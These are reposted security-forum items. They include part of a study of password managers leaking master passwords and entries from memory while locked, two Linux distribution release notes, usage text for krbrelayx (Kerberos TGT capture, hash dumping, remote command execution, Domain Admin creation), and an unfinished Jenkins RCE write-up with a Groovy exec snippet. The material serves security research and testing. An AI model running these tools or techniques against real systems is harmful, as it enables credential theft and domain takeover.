previously entered the master password and used the password manager, but subsequently clicked the ‘Lock’ or ‘Log Out’ button. In this “running, locked state” the password manager should guarantee: All the security guarantees of a not-running password manager should apply to a password manager that is in the locked state. Since a locked password manager still exists as a process in virtual memory, this requires additional guarantees: It should not be possible to extract the master password from memory, either directly or in any form that allows the original master password to be recovered. It should not be possible to extract from memory any cryptographic information derived from the master password that might allow passwords to be decrypted without knowing the master password. It should not be possible to extract any unencrypted passwords from memory that are stored in the password manager. In addition to these explicit security guarantees, we expect password managers to incorporate additional hardening measures where possible, and to have these hardening measures enabled by default. For example, password managers should attempt to block software keystroke loggers from accessing the master password as it is typed, attempt to limit the exposure of unencrypted passwords left on the clipboard, and take reasonable steps to detect and block modification or patching of the password manager and its supporting libraries that might expose passwords. Scope: In this paper we will examine the inner workings as they relate to secrets retrieval and storage of 1Password, Dashlane, KeePass and LastPass on the Windows 10 platform (Version 1803 Build 17134.345) using an Intel i7-7700HQ processor. We examine susceptibility of a password manager to secrets exfiltration via examination of the password database on disk; memory forensics; and finally, keylogging, clipboard monitoring, and binary modification. Each password manager is examined in its default configuration after install with no advanced configuration steps performed. The focus on our evaluation of password managers is limited to the Windows platform. Our findings can be extrapolated to password manager implementations in other operating systems to guide research to areas of interest that are discussed in this paper. Target Password Managers: The following password managers with their corresponding versions were evaluated: Product Version 1Password4 for Windows 4.6.2.626 1Password7 for Windows 7.2.576 Dashlane for Windows 6.1843.0 KeePass Password Safe 2.40 LastPass for Applications 4.1.59 Security of Password Managers in the Non-Running State We first consider the security of password managers when they are not running. We focus on the attack vector of compromising passwords from disk. Unless password managers have severe vulnerabilities such as logging passwords to unencrypted log files or other egregious issues, the password managers’ defenses against the disk attack surface rest on the cryptography used to protect the password database. Here, we examine which algorithm each password manager uses to transform the master password into an encryption key, and whether the algorithm and number of iterations is severely lacking in its ability to resist contemporary cracking attacks. Table 2, below, outlines the key expansion algorithm type used and number of iterations in each password manager’s default configuration. With regard to key expansion recommendations set by NIST [14]we found that each key expansion algorithm used in the password managers was acceptable and that the number of iterations adequate. We concluded that the password managers were secure against compromising passwords from disk as the software is not running, and that brute forcing the encrypted password entries on disk would be computationally prohibitive, although not impossible if given enough computing resources. Given this, we moved on to the attack surface of passwords stored in memory while the password managers are running. Password Manager Key Expansion Algorithm Iterations 1Password4 PBKDF2-SHA256 40,000 [15] 1Password7 PBKDF2-SHA256 100,000 [16] Dashlane Argon2 3 [17] KeePass AES-KDF 60,000 [18] LastPass PBKDF2-SHA256 100,100 [19] Table 2. Each password managers default key expansion algorithm and number of iterations. Security of Password Managers in Running States We expected and found that all password managers reviewed sufficiently protect the master password and individual passwords while they are notrunning. The remaining bulk of our assessment of password managers in the running state was focused on the effectiveness of the locked state and whether the unlocked state left the minimum possible amount of sensitive information in memory. The following sections outline violations of our proposed security guarantees of password managers in a running locked and unlocked state. 1Password4 (Version: 4.6.2.626) We assessed the security of 1Password4 while running and found reasonable protections against exposure of individual passwords in the unlocked state; unfortunately, this was overshadowed by its handling of the master password and several broken implementation details when transitioning from the unlocked to the locked state. On the positive side, we found that as a user accesses different entries in 1Password4, the software is careful to clear the previous unencrypted password from memory before loading another. This means that only one unencrypted password can be in memory at once. On the negative side, the master password remains in memory when unlocked (albeit in obfuscated form) and the software fails to scrub the obfuscated password memory region sufficiently when transitioning from the unlocked to the locked state. We also found a bug where, under certain user actions, the master password can be left in memory in cleartext even while locked. Failure to Scrub Obfuscated Master Password from Memory It is possible to recover and deobfuscate the master password from 1Password4 since it is not scrubbed from memory after placing the password manager in a locked state. Given a scenario where a user has unlocked 1Password4 and then placed it back into a locked state, 1Password4 will prompt for the master password again as shown in Figure 1below. However, 1Password4 retains the master password in memory, although in an encoded/obfuscated format as shown in Figure 2. Figure 1. 1Password4 in a locked state awaiting master password input. Figure 2. Encoded master password present in memory while 1Password4 is in a locked state. We can use this information to intercept normal workflows in which 1Password4 calls RtlRunEncodeUnicodeString and RtlRunDecodeUnicodeString to obfuscate the master password to instead reveal the already present, but encoded master password into cleartext (Figure 3). Figure 3. Master password revealed after the expected RtlRunEncodeUnicodeString and RtlRunDecodeUnicodeString was reversed, thereby forcing 1Password4 to decode the encoded master password that was not scrubbed from memory. Copying the Current Password Entry from Memory Only entries that are actively being interacted with exist in memory as plaintext. Figure 4is an example of an entry in memory as its being interacted with. Once 1Password4 is locked, the memory region is deallocated . Note that the deallocated region is not first scrubbed, however the Windows memory manager will zero out any freed pages of memory before making them available for re-allocation by the Windows memory manager. Figure 4. Password entry in memory during active interaction. 1Password7 (Version: 7.2.576) After assessing the legacy 1Password4, we moved on to 1Password7, the current release. Surprisingly, we found that it is less secure in the running state compared to 1Password4. 1Password7 decrypted all individual passwords in our test database as soon as it is unlocked and caches them in memory, unlike 1Password4 which kept only one entry at a time in memory. Compounding this, we found that 1Password7 scrubs neither the individual passwords, the master password, nor the secret key (an extra field introduced in 1Password6 that combines with the master password to derive the encryption key) from memory when transitioning from unlocked to locked. This renders the “lock” button ineffective; from the security standpoint, after unlocking and using 1Password7, the user must exit the software entirely in order to clear sensitive information from memory as locking should. It appears 1Password may have rewritten their software to produce 1Password7 without implementing secure memory management and secrets scrubbing workflows present in 1Password4 and abandoning the distinction between a ‘running unlocked’ and ‘running locked’ state in terms of secrets exposure. Interestingly, this is not the case. Prior marketing material for 1Password claimed [20]to feature Intel SGX technology. This technology protects secrets inside secure memory enclaves so that other processes and even higher privileged components (such as the kernel) cannot access them. Were SGX to be implemented correctly, 1Password7 would have been the most secure password manager in our research by far. Unfortunately, SGX was only supported as a beta feature in 1Password6 and early versions of 1Password7, and was dropped for later versions. This was only evident from gathering the details about it on a 1Password support forum [21]. Exposure of Cleartext Master Password, Secret Key and Entries in Memory As stated before, all secrets are exposed by 1Password7 when in an unlocked and locked state. To demonstrate the severity of this issue we created proof of concept code to read 1Password7’s memory address space to extract these items. The proof of concept applications ran in the existing user context (which was an ordinary non-administrative user). Show below is 1Password7 in a locked state, Figure 5(having previously been unlocked but then again locked) awaiting password entry to unlock it. Figure 5. 1Password7 in a locked state, having previously been open and then locked. Figure 6 illustrates the automated retrieval of the master password. Figure 6. Extracting the master password from a locked 1Password7 instance Figure 7 shows the extraction of the secret key that is needed along with the master password to unlock an encrypted database, and Figure 8shows the automated extraction of secret entries. Figure 7. Extracting the secret key from 1Password7 in a locked state. Figure 8. Extracting password entries from a locked instance of 1Password7. The memory “hygiene” of 1Password7 is so lacking, that it is possible for it to leak passwords from memory without an intentional attack at all. During our evaluation of 1Password7, we encountered a system stop error (kernel mode exception) on our Windows 10 workstation, from an unrelated hardware issue, that created a full memory debug dump to disk. While examining this memory dump file, we came across our secrets that 1Password7 held cleartext, in memory, in a locked state when the stop error occurred (Figure 9). Figure 9. Windows 10 crash dump file contained secrets 1Password7 held in memory in a locked state. For all password managers that leave secrets in memory, this creates a threat model where secrets may be extracted in a non-running state as a by-product of system activity and/or crash/debug log files. Moreover, some companies have a policy to image workstations that have had malware encounters as part of the incident response procedure. A user that happened to be running 1Password7 while this procedure was initiated should assume that all secrets have been compromis Dashlane (Version: 6.1843.0) In our Dashlane evaluation, we noted workflows that indicate focus was placed on concealing secrets in memory to reduce their likelihood of extraction. Also, unique to Dashlane, was the usage of memory/string and GUI management frameworks that prevented secrets from being passed around to various OS API’s that could expose them to eavesdropping by trivial malware. Similar to 1Password4, Dashlane exposes only the active entry a user is interacting with. So, at most, the last active entry is exposed in memory while Dashlane is in an unlocked and locked state. However, once a user updates any information in an entry, Dashlane exposes the entire database plaintext in memory and it remains there even after Dashlane is logged out of or ‘locked’. Exposure of Cleartext Entries in Memory Password entries in Dashlane are stored in an XML object. Upon interacting with any entry this XML object becomes exposed in cleartext and can be easily extracted in both locked and unlocked states. Figure 10, below, is an example of a portion of this XML data structure. Figure 10. Excerpt of a fully decrypted Dashlane XML password database in an unlocked and locked state. Knowing that this data structure exists in a locked state, we then created a proof of concept application to extract it from a locked instance of Dashlane. Figure 11, below, is a locked instance of Dashlane prompting for the master password to unlock it. Figure 11. Locked instance of Dashlane. In this locked state, we then run our proof of concept to extract all stored secrets (Figure 12). Figure 12. Extracting secrets from a locked instance of Dashlane. However, even though we are able to extract secrets from a locked state of Dashlane, the memory region they reside in has been dereferenced and freed. So, over time portions of the XML data structure may be overwritten. Throughout our examination, we noticed that secrets may reside for a few minutes. In some instances, we have observed them still resident in memory more than 24 hours. Dashlane is also unique compared to the other password managers in our examination in that it does not allow you to exit the process via GUI components, such as clicking the close program [x] in the upper right or pressing the ALT-F4 key combination. Doing so causes Dashlane to minimize into the task tray, leaving it susceptible to secrets extraction for extended periods of time. KeePass (Version: 2.40) Unlike the other password managers, KeePass is an open source project. Similar to 1Password4, KeePass decrypts entries as they are interacted with, however, they all remain in memory since they are not individually scrubbed after each interaction. The master password is scrubbed from memory and not recoverable. However, while KeePass attempts to keep secrets secure by scrubbing them from memory, there are obviously errors in these workflows as we have discovered that while even in a locked state, we were able to extract entries that had been interacted with. KeePass claims to use several defenses in depth memory protection mechanisms as stated in an excerpt from their site below (Figure 13). However, they acknowledge that these workflows may involve Windows OS API’s that may make copies of various memory buffers which may not be exposed to KeePass for scrubbing. Figure 13. KeePass statement on memory protection. Exposure of Cleartext Entries in Memory Entries that have been interacted with remain exposed in memory even after KeePass has been placed into a locked state. Figure 14, below, is an example of a locked instance of KeePass prompting for the master password before it can be unlocked. Figure 14. Locked instance of KeePass. Secrets are scattered in memory with no references. However, performing a simple strings dump from the process memory of KeePass reveals a list of entries that have been interacted with (Figure 15). Figure 15. List of entries from a locked instance of KeePass. Using the above information, we can then search for a username to an entry and locate its corresponding password field entry, in the below image (Figure16) we locate the bitcoin private key which was stored in the password field. Figure 16. Locating a bitcoin private key via its corresponding public key/username. The above methodology can be used to extract any entries that have been interacted with before placing KeePass into a locked state. LastPass (Version: 4.1.59) Similar to 1Password4, LastPass obfuscates the master password as its being typed into the unlock field. Once the decryption key has been derived from the master password, the master password is overwritten with the phrase “lastpass rocks” (Figure17). Figure 17. Master password overwritten once the master password has been used in a PBKDF2 key expansion routine. Once LastPass enters an unlocked state, database entries are decrypted into memory only upon user interaction. However, these entries persist in memory even after LastPass has been placed back into a locked state. Exposure of Cleartext Master Password and Entries in Memory During a workflow to derive the decryption key, the master password is leaked into a string buffer in memory and never scrubbed, even when LastPass is placed into a locked state. The below image, Figure 18, is an instance of LastPass in a locked state awaiting user entry of the master password. Figure 18. Locked instance of LastPass. In this locked state, we can recover the master password and any interacted with password entries with the same methodology used in KeePass, in which a simple strings dump was performed on the active process. The image below, Figure19, is an example of recovering the master password, in a locked state, which ironically is always found within a few lines of ‘lastpass rocks’, the phrase used to conceal the master password in another buffer. Figure 19. Master password in cleartext (underlined red) typically within a few lines of ‘lastpass rocks’. Strings encapsulated by a ‘<input hwnd=’ tag will allow us to enumerate all secret entries that have been interacted with. Below, Figure 20, is an example of extracting a private key to a bitcoin wallet. Figure 20. Extracting a bitcoin private key from a locked instance of LastPass. Conclusion: All password managers we examined sufficiently secured user secrets while in a ‘not running’ state. That is, if a password database were to be extracted from disk and if a strong master password was used, then brute forcing of a password manager would be computationally prohibitive. Each password manager also attempted to scrub secrets from memory. But residual buffers remained that contained secrets, most likely due to memory leaks, lost memory references, or complex GUI frameworks which do not expose internal memory management mechanisms to sanitize secrets. This was most evident in 1Password7 where secrets, including the master password and its associated secret key, were present in both a locked and unlocked state. This is in contrast to 1Password4, where at most, a single entry is exposed in a ‘running unlocked’ state and the master password exists in memory in an obfuscated form, but is easily recoverable. If 1Password4 scrubbed the master password memory region upon successful unlocking, it would comply with all proposed security guarantees we outlined earlier. This paper is not meant to criticize specific password manager implementations; however, it is to establish a reasonable minimum baseline which all password managers should comply with. It is evident that attempts are made to scrub and sensitive memory in all password managers. However, each password manager fails in implementing proper secrets sanitization for various reasons. The image below, Figure 21, summarizes the results of our evaluation: Figure 21. Summary of each password managers security items we examined. Keylogging and Clipboard sniffing are known risks and only included for user awareness, that no matter how closely a password manager may adhere to our proposed ‘Security Guarantees’, victims of keylogging or clipboard sniffing malware/methods have no protection. However, significant violations of our proposed security guarantees are highlighted in red. In an unlocked state, all or a majority of secret records should not be extracted into memory. Only a single one, being actively viewed, should be extracted. Also, in an unlocked state, the master password should not be present in either an encrypted or obfuscated form. A locked running state that exposes interacted with or all records puts users’ secret records unnecessarily at risk. Most egregious is the presence of a master password in a locked state. It is unknown how widespread this knowledge is amongst adversaries. However, up to 60 million users of these password managers potentially are at risk of a targeted attack directed at the software that is meant to safeguard their secrets. In our opinion, the most urgent item is to sanitize secrets when a password manager is placed into a locked state. Typically, most password managers place themselves into this locked state after a certain period of user inactivity, after this the process may remain indefinitely either until the OS is restarted, the process is terminated by the user, or the process restarts itself as part of a self-update workflow when a new version is published. This creates a large window of time in which secrets for certain password managers reside cleartext in memory and available for extraction. In addition to providing a minimum set of guarantees users can rely on, creators of password managers should employ additional defenses to protect secrets by: Detecting or employing methods to, by default, thwart software based keyloggers Preventing secrets exposure in an unlocked state Employing hardware-based features (such as SGX) to make it more difficult to extract secrets Employing trivial malware and runtime process modification detection mechanisms Employing per-install binary scrambling during the install phase to make each instance a unique binary layout to thwart trivial and advanced targeted malware Limiting the traversal of secrets to OS provided APIs by implementing custom GUI elements and memory management to limit secrets exposure to well-known APIs that can be targeted by malware authors End users should, as always, employ security best practices to limit exposure to adversarial activity, such as: Keeping the OS updated Enabling or utilizing well known and tested anti-virus solutions Utilizing features provided by some password managers, such as “Secure Desktop” Using hardware wallets for immediately exploitable sensitive data such as crypto currency private keys Utilizing the auto lock feature of their OS to prevent ‘walk by’ targeted malicious activity Selecting a strong password as the master password to thwart brute force possibilities on a compromised encrypted database file Using full disk encryption to prevent the possibility of secrets extraction in the event of crash logs and associated memory dumps which may include decrypted password manager data Shutting a password manager down completely when not in use even in a locked state (If using one that doesn’t properly sanitize secrets upon being placed into a locked running state) Future Research: Password managers are an important and increasingly necessary part of our lives. In our opinion, users should expect that their secrets are safeguarded according to a minimum set of standards that we outlined as ‘security guarantees’. Initially our assumption and expectation were that password managers are designed to safeguard secrets in a ‘non-running state’, which we identified as true. However, we were surprised in the inconsistency in secrets sanitization and retention in memory when in a running unlocked state and, more importantly, when placed into a locked state. If password managers fail to sanitize secrets in a locked running state then this will be the low hanging fruit, that provides the path of least resistance, to successful compromise of a password manager running on a user’s workstation. Once the minimum set of ‘security guarantees’ is met then password managers should be re-evaluated to discover new attack vectors that adversaries may use to compromise password managers and examine possible mitigations for them. References: [1] "1Password," [Online]. Available: https://1password.com. [2] "Dashlane," [Online]. Available: https://www.dashlane.com/. [3] "KeePass," [Online]. Available: https://keepass.info/. [4] "LastPass," [Online]. Available: https://www.lastpass.com/. [5] T. Hunt. [Online]. Available: https://www.troyhunt.com/password-managers-dont-have-to-be-perfect-they-just-have-to-be-better-than-not-having-one/. [6] "https://twitter.com/roustem," [Online]. [7] "https://blog.dashlane.com/10-million-users/," [Online]. [8] "https://keepass.info/help/kb/trust.html," [Online]. [9] "https://www.lastpass.com/," [Online]. [10] D. Florencio, C. Herley and P. C. v. Oorschot, "An Administrator’s Guide to Internet Password Research," [Online]. Available: https://www.microsoft.com/en-us/research/wp-content/uploads/2014/11/WhatsaSysadminToDo.pdf. [11] T. L. Bras, "Online Overload – It’s Worse Than You Thought," [Online]. Available: https://blog.dashlane.com/infographic-online-overload-its-worse-than-you-thought/. [12] "Smart Taylor," [Online]. Available: https://smarttaylor.io/. [13] Taylor. [Online]. Available: https://medium.com/smarttaylor/updates-on-the-taylor-hack-incident-8843238d1670. [14] [Online]. Available: http://nvlpubs.nist.gov/nistpubs/Legacy/SP/nistspecialpublication800-132.pdf. [15] [Online]. Available: https://support.1password.com/pbkdf2/. [16] "https://support.1password.com/pbkdf2/," [Online]. [17] "https://www.dashlane.com/download/Dashlane_SecurityWhitePaper_October2018.pdf," [Online]. [18] "https://keepass.info/help/base/security.html," [Online]. [19] "LastPass," [Online]. Available: https://blog.lastpass.com/2018/07/lastpass-bugcrowd-update.html/. [20] J. Goldberg, "Using Intel’s SGX to keep secrets even safer," [Online]. Available: https://blog.1password.com/using-intels-sgx-to-keep-secrets-even-safer/. [21] "1Password support forum," [Online]. Available: https://discussions.agilebits.com/discussion/87834/intel-sgx-stopped-working-its-working-but-the-option-is-not-in-yet. Sursa: https://www.securityevaluators.com/casestudies/password-manager-hacking/ -
Kali Linux 2019.1 Released — Operating System For Hackers February 18, 2019Swati Khandelwal Wohooo! Great news for hackers and penetration testers. Offensive Security has just released Kali Linux 2019.1, the first 2019 version of its Swiss army knife for cybersecurity professionals. The latest version of Kali Linux operating system includes kernel up to version 4.19.13 and patches for numerous bugs, along with many updated software, like Metasploit, theHarvester, DBeaver, and more. Kali Linux 2019.1 comes with the latest version of Metasploit (version 5.0) penetration testing tool, which "includes database and automation APIs, new evasion capabilities, and usability improvements throughout," making it more efficient platform for penetration testers. Metasploit version 5.0 is the software's first major release since version 4.0 which came out in 2011. Talking about ARM images, Kali Linux 2019.1 has now once again added support for Banana Pi and Banana Pro that are on kernel version 4.19. "Veyron has been moved to a 4.19 kernel, and the Raspberry Pi images have been simplified, so it is easier to figure out which one to use," Kali Linux project maintainers says in their official release announcement. "There are no longer separate Raspberry Pi images for users with TFT LCDs because we now include re4son's kalipi-tft-config script on all of them, so if you want to set up a board with a TFT, run 'kalipi-tft-config' and follow the prompts." The Offensive Security virtual machine and ARM images have also been updated to the latest 2019.1 version. You can download new Kali Linux ISOs directly from the official website or from the Torrent network, and if you are already using it, then you can simply upgrade it to the latest and greatest Kali release by running the command: apt update && apt -y full-upgrade. Have something to say about this article? Comment below or share it with us on Facebook, Twitter or our LinkedIn Group. Sursa: https://thehackernews.com/2019/02/kali-linux-hackers-os.html
-
- 1
-
-
BackBox Linux 5.3 released! February 18, 2019/in Releases / The BackBox Team is pleased to announce the updated release of BackBox Linux, the version 5.3. In this release we have fixed some minor bugs, updated the kernel stack, base system and hacking tools. What’s new Updated Linux Kernel 4.15 Updated hacking tools Updated ISO Hybrid with UEFI support System requirements 32-bit or 64-bit processor 1024 MB of system memory (RAM) 10 GB of disk space for installation Graphics card capable of 800×600 resolution DVD-ROM drive or USB port (3 GB) The ISO images for both 32bit & 64bit can be downloaded from the official web site download section: https://www.backbox.org/download Sursa: https://blog.backbox.org/2019/02/18/backbox-linux-5-3-released/
-
Krbrelayx - Unconstrained delegation abuse toolkit Toolkit for abusing unconstrained delegation. Requires impacket and ldap3 to function. It is recommended to install impacket from git directly to have the latest version available. More info about this toolkit available in my blog https://dirkjanm.io/krbrelayx-unconstrained-delegation-abuse-toolkit/ Tools included addspn.py This tool can add/remove/modify Service Principal Names on accounts in AD over LDAP. usage: addspn.py [-h] [-u USERNAME] [-p PASSWORD] [-t TARGET] -s SPN [-r] [-q] [-a] HOSTNAME Add an SPN to a user/computer account Required options: HOSTNAME Hostname/ip or ldap://host:port connection string to connect to Main options: -h, --help show this help message and exit -u USERNAME, --user USERNAME DOMAIN\username for authentication -p PASSWORD, --password PASSWORD Password or LM:NTLM hash, will prompt if not specified -t TARGET, --target TARGET Computername or username to target (FQDN or COMPUTER$ name, if unspecified user with -u is target) -s SPN, --spn SPN servicePrincipalName to add (for example: http/host.domain.local or cifs/host.domain.local) -r, --remove Remove the SPN instead of add it -q, --query Show the current target SPNs instead of modifying anything -a, --additional Add the SPN via the msDS-AdditionalDnsHostName attribute dnstool.py Add/modify/delete Active Directory Integrated DNS records via LDAP. usage: dnstool.py [-h] [-u USERNAME] [-p PASSWORD] [--forest] [--zone ZONE] [--print-zones] [-r TARGETRECORD] [-a {add,modify,query,remove,ldapdelete}] [-t {A}] [-d RECORDDATA] [--allow-multiple] [--ttl TTL] HOSTNAME Query/modify DNS records for Active Directory integrated DNS via LDAP Required options: HOSTNAME Hostname/ip or ldap://host:port connection string to connect to Main options: -h, --help show this help message and exit -u USERNAME, --user USERNAME DOMAIN\username for authentication. -p PASSWORD, --password PASSWORD Password or LM:NTLM hash, will prompt if not specified --forest Search the ForestDnsZones instead of DomainDnsZones --zone ZONE Zone to search in (if different than the current domain) --print-zones Only query all zones on the DNS server, no other modifications are made Record options: -r TARGETRECORD, --record TARGETRECORD Record to target (FQDN) -a {add,modify,query,remove,ldapdelete}, --action {add,modify,query,remove,ldapdelete} Action to perform. Options: add (add a new record), modify (modify an existing record), query (show existing), remove (mark record for cleanup from DNS cache), delete (delete from LDAP). Default: query -t {A}, --type {A} Record type to add (Currently only A records supported) -d RECORDDATA, --data RECORDDATA Record data (IP address) --allow-multiple Allow multiple A records for the same name --ttl TTL TTL for record (default: 180) printerbug.py Simple tool to trigger SpoolService bug via RPC backconnect. Similar to dementor.py. Thanks to @agsolino for implementing these RPC calls. usage: printerbug.py [-h] [-target-file file] [-port [destination port]] [-hashes LMHASH:NTHASH] [-no-pass] target attackerhost positional arguments: target [[domain/]username[:password]@]<targetName or address> attackerhost hostname to connect to optional arguments: -h, --help show this help message and exit connection: -target-file file Use the targets in the specified file instead of the one on the command line (you must still specify something as target name) -port [destination port] Destination port to connect to SMB Server authentication: -hashes LMHASH:NTHASH NTLM hashes, format is LMHASH:NTHASH -no-pass don't ask for password (useful when proxying through ntlmrelayx) krbrelayx.py Given an account with unconstrained delegation privileges, dump Kerberos TGT's of users connecting to hosts similar to ntlmrelayx. usage: krbrelayx.py [-h] [-debug] [-t TARGET] [-tf TARGETSFILE] [-w] [-ip INTERFACE_IP] [-r SMBSERVER] [-l LOOTDIR] [-f {ccache,kirbi}] [-codec CODEC] [-no-smb2support] [-wh WPAD_HOST] [-wa WPAD_AUTH_NUM] [-6] [-p PASSWORD] [-hp HEXPASSWORD] [-s USERNAME] [-hashes LMHASH:NTHASH] [-aesKey hex key] [-dc-ip ip address] [-e FILE] [-c COMMAND] [--enum-local-admins] [--no-dump] [--no-da] [--no-acl] [--no-validate-privs] [--escalate-user ESCALATE_USER] Kerberos "relay" tool. Abuses accounts with unconstrained delegation to pwn things. Main options: -h, --help show this help message and exit -debug Turn DEBUG output ON -t TARGET, --target TARGET Target to attack, since this is Kerberos, only HOSTNAMES are valid. Example: smb://server:445 If unspecified, will store tickets for later use. -tf TARGETSFILE File that contains targets by hostname or full URL, one per line -w Watch the target file for changes and update target list automatically (only valid with -tf) -ip INTERFACE_IP, --interface-ip INTERFACE_IP IP address of interface to bind SMB and HTTP servers -r SMBSERVER Redirect HTTP requests to a file:// path on SMBSERVER -l LOOTDIR, --lootdir LOOTDIR Loot directory in which gathered loot (TGTs or dumps) will be stored (default: current directory). -f {ccache,kirbi}, --format {ccache,kirbi} Format to store tickets in. Valid: ccache (Impacket) or kirbi (Mimikatz format) default: ccache -codec CODEC Sets encoding used (codec) from the target's output (default "ascii"). If errors are detected, run chcp.com at the target, map the result with https://docs.python.org/2.4/lib/standard- encodings.html and then execute ntlmrelayx.py again with -codec and the corresponding codec -no-smb2support Disable SMB2 Support -wh WPAD_HOST, --wpad-host WPAD_HOST Enable serving a WPAD file for Proxy Authentication attack, setting the proxy host to the one supplied. -wa WPAD_AUTH_NUM, --wpad-auth-num WPAD_AUTH_NUM Prompt for authentication N times for clients without MS16-077 installed before serving a WPAD file. -6, --ipv6 Listen on both IPv6 and IPv4 Kerberos Keys (of your account with unconstrained delegation): -p PASSWORD, --krbpass PASSWORD Account password -hp HEXPASSWORD, --krbhexpass HEXPASSWORD Hex-encoded password -s USERNAME, --krbsalt USERNAME Case sensitive (!) salt. Used to calculate Kerberos keys.Only required if specifying password instead of keys. -hashes LMHASH:NTHASH NTLM hashes, format is LMHASH:NTHASH -aesKey hex key AES key to use for Kerberos Authentication (128 or 256 bits) -dc-ip ip address IP Address of the domain controller. If ommited it use the domain part (FQDN) specified in the target parameter SMB attack options: -e FILE File to execute on the target system. If not specified, hashes will be dumped (secretsdump.py must be in the same directory) -c COMMAND Command to execute on target system. If not specified, hashes will be dumped (secretsdump.py must be in the same directory). --enum-local-admins If relayed user is not admin, attempt SAMR lookup to see who is (only works pre Win 10 Anniversary) LDAP attack options: --no-dump Do not attempt to dump LDAP information --no-da Do not attempt to add a Domain Admin --no-acl Disable ACL attacks --no-validate-privs Do not attempt to enumerate privileges, assume permissions are granted to escalate a user via ACL attacks --escalate-user ESCALATE_USER Escalate privileges of this user instead of creating a new one TODO: Specifying SMB as target is not yet complete, it's recommended to run in export mode and then use secretsdump with -k Conversion tool from/to ccache/kirbi SMB1 support in the SMB relay server Sursa: https://github.com/dirkjanm/krbrelayx
-
Hacking Jenkins Part 2 - Abusing Meta Programming for Unauthenticated RCE! This is also a cross-post blog from DEVCORE, this post is in English, 而這裡是中文版本! --- Hello everyone! This is the Hacking Jenkins series part two! For those people who still have not read the part one yet, you can check following link to get some basis and see how vulnerable Jenkins’ dynamic routing is! Hacking Jenkins Part 1 - Play with Dynamic Routing As the previous article said, in order to utilize the vulnerability, we want to find a code execution can be chained with the ACL bypass vulnerability to a well-deserved pre-auth remote code execution! But, I failed. Due to the feature of dynamic routing, Jenkins checks the permission again before most dangerous invocations(Such as the Script Console)! Although we could bypass the first ACL, we still can’t do much things After Jenkins released the Security Advisory and fixed the dynamic routing vulnerability on 2018-12-05, I started to organize my notes in order to write this Hacking Jenkins series. While reviewing notes, I found another exploitation way on a gadget that I failed to exploit before! Therefore, the part two is the story for that! This is also one of my favorite exploits and is really worth reading Vulnerability Analysis First, we start from the Jenkins Pipeline to explain CVE-2019-1003000! Generally the reason why people choose Jenkins is that Jenkins provides a powerful Pipeline feature, which makes writing scripts for software building, testing and delivering easier! You can imagine Pipeline is just a powerful language to manipulate the Jenkins(In fact, Pipeline is a DSL built with Groovy) In order to check whether the syntax of user-supplied scripts is correct or not, Jenkins provides an interface for developers! Just think about if you are the developer, how will you implement this syntax-error-checking function? You can just write an AST(Abstract Syntax Tree) parser by yourself, but it’s too tough. So the easiest way is to reuse existing function and library! As we mentioned before, Pipeline is just a DSL built with Groovy, so Pipeline must follow the Groovy syntax! If the Groovy parser can deal with the Pipeline script without errors, the syntax must be correct! The code fragments here shows how Jenkins validates the Pipeline: public JSON doCheckScriptCompile(@QueryParameter String value) { try { CpsGroovyShell trusted = new CpsGroovyShellFactory(null).forTrusted().build(); new CpsGroovyShellFactory(null).withParent(trusted).build().getClassLoader().parseClass(value); } catch (CompilationFailedException x) { return JSONArray.fromObject(CpsFlowDefinitionValidator.toCheckStatus(x).toArray()); } return CpsFlowDefinitionValidator.CheckStatus.SUCCESS.asJSON(); // Approval requirements are managed by regular stapler form validation (via doCheckScript) } Here Jenkins validates the Pipeline with the method GroovyClassLoader.parseClass(…)! It should be noted that this is just an AST parsing. Without running execute() method, any dangerous invocation won’t be executed! If you try to parse the following Groovy script, you get nothing this.class.classLoader.parseClass(''' print java.lang.Runtime.getRuntime().exec("id") '''); From the view of developers, the Pipeline can control Jenkins, so it must be dangerous and requires a strict permission check before every Pipeline invocation! However, this is just a simple syntax validation so the permission check here is more less than usual! Without any execute() method, it’s just an AST parser and must be safe! This is what I thought when the first time I saw this validation. However, while I was writing the technique blog, Meta-Programming flashed into my mind! What is Meta-Programming Meta-Programming is a kind of programming concept! The idea of Meta-Programming is providing an abstract layer for programmers to consider the program in a different way, and makes the program more flexible and efficient! There is no clear definition of Meta-Programming. In general, both processing the program by itself and writing programs that operate on other programs(compiler, interpreter or preprocessor…) are Meta-Programming! The philosophy here is very profound and could even be a big subject on Programming Language! If it is still hard to understand, you can just regard eval(...) as another Meta-Programming, which lets you operate the program on the fly. Although it’s a little bit inaccurate, it’s still a good metaphor for understanding! In software engineering, there are also lots of techniques related to Meta-Programming. For example: C Macro C++ Template Java Annotation Ruby (Ruby is a Meta-Programming friendly language, even there are books for that) DSL(Domain Specific Languages, such as Sinatra and Gradle) When we are talking about Meta-Programming, we classify it into (1)compile-time and (2)run-time Meta-Programming according to the scope. Today, we focus on the compile-time Meta-Programming! P.S. It’s hard to explain Meta-Programming in non-native language. If you are interested, here are some materials! Wiki, Ref1, Ref2 P.S. I am not a programming language master, if there is anything incorrect or inaccurate, please forgive me <(_ _)> How to Exploit? From the previous section we know Jenkins validates Pipeline by parseClass(…) and learn that Meta-Programming can poke the parser during compile-time! Compiling(or parsing) is a hard work with lots of tough things and hidden features. So, the idea is, is there any side effect we can leverage? There are many simple cases which have proved Meta-Programming can make the program vulnerable, such as he macro expansion in C language: #define a 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 #define b a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a #define c b,b,b,b,b,b,b,b,b,b,b,b,b,b,b,b #define d c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c #define e d,d,d,d,d,d,d,d,d,d,d,d,d,d,d,d #define f e,e,e,e,e,e,e,e,e,e,e,e,e,e,e,e __int128 x[]={f,f,f,f,f,f,f,f}; or the compiler resource bomb(make a 16GB ELF by just 18 bytes): int main[-1u]={1}; or calculating the Fibonacci number by compiler template<int n> struct fib { static const int value = fib<n-1>::value + fib<n-2>::value; }; template<> struct fib<0> { static const int value = 0; }; template<> struct fib<1> { static const int value = 1; }; int main() { int a = fib<10>::value; // 55 int b = fib<20>::value; // 6765 int c = fib<40>::value; // 102334155 } From the assembly language of compiled binary, we can make sure the result is calculated at compile-time, not run-time! $ g++ template.cpp -o template $ objdump -M intel -d template ... 00000000000005fa <main>: 5fa: 55 push rbp 5fb: 48 89 e5 mov rbp,rsp 5fe: c7 45 f4 37 00 00 00 mov DWORD PTR [rbp-0xc],0x37 605: c7 45 f8 6d 1a 00 00 mov DWORD PTR [rbp-0x8],0x1a6d 60c: c7 45 fc cb 7e 19 06 mov DWORD PTR [rbp-0x4],0x6197ecb 613: b8 00 00 00 00 mov eax,0x0 618: 5d pop rbp 619: c3 ret 61a: 66 